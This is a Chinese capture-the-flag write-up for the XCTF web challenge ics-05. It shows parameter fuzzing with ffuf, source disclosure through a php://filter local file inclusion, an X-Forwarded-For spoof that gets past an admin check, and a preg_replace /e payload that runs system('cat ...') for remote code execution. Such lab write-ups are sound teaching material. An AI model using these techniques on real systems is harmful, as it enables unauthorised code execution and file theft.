当前位置: 首页 > web >正文

XCTF-web-ics-05

看一下有什么

image

只有/index.php

image

模糊测试得到一个page

┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://223.112.5.141:52073/index.php?FUZZ=FUZZ" -w /usr/share/wordlists/rockyou.txt -fc 403 -c -fs 2305 -s
page

尝试用php伪协议读取源码?page=php://filter/read=convert.base64-encode/resource=index.php

<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<?php
}else{
?>
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] == '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}
}
?>

改一下HTTP_X_FORWARDED_FOR为127.0.0.1

preg_replace 函数:preg_replace ($pattern, $replacement, $subject) 函数会将 subject 中匹配 pattern 的部分用 replacement 替换,启用 /e 参数,就会将 replacement 当做 php 代码执行

image

flag:?pat=/abc/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=abc

image

http://www.xdnf.cn/news/10750.html

相关文章:

  • 生成模型+两种机器学习范式
  • 使用大模型预测亚急性脊髓联合变性的技术方案大纲
  • react native webview加载本地HTML,解决iOS无法加载成功问题
  • 计算机网络通信技术与协议(八)----关于IS-IS的基础概念
  • HALCON 深度学习训练 3D 图像的几种方式优缺点
  • SpringBoot 系列之集成 RabbitMQ 实现高效流量控制
  • 使用Process Explorer、System Informer(Process Hacker)和Windbg工具排查软件高CPU占用问题
  • 基于51单片机和8X8点阵屏、独立按键的填充消除类小游戏
  • h5的aliplayer-min.js 加密视频会走到debugger
  • 计算A图片所有颜色占B图片红色区域的百分比
  • 第7章 :面向对象
  • 华为云Flexus+DeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建
  • 交叉验证集(Cross-Validation Set)和测试集(Test Set)
  • Delphi SetFileSecurity 设置安全描述符
  • 二叉树day1
  • C++和C#界面开发方式的全面对比
  • 初始化已有项目仓库,推送远程(Git)
  • git clone报错:SSL certificate problem: unable to get local issuer certificate
  • 用户管理页面(解决toggleRowSelection在dialog用不了的隐患,包含el-table的plus版本的组件)
  • Java程序员视角- NIO 到 Epoll:深度解析 IO 多路复用原理及 Select/Poll/Epoll 对
  • 立志成为一名优秀测试开发工程师(第十一天)—Postman动态参数/变量、文件上传、断言策略、批量执行及CSV/JSON数据驱动测试
  • 5.3.1_1二叉树的先中后序遍历
  • 操作系统学习(十一)——磁盘
  • 【agent开发】部署LLM(一)
  • 内容中台的实施基石是什么?
  • 简道云--第一个表单
  • 普中STM32F103ZET6开发攻略(二)
  • 人工智能工程技术专业 和 其他信息技术专业 有哪些关联性?
  • window/linux ollama部署模型
  • docker使用sh脚本创建容器,保持容器正常运行,异常关闭后马上重启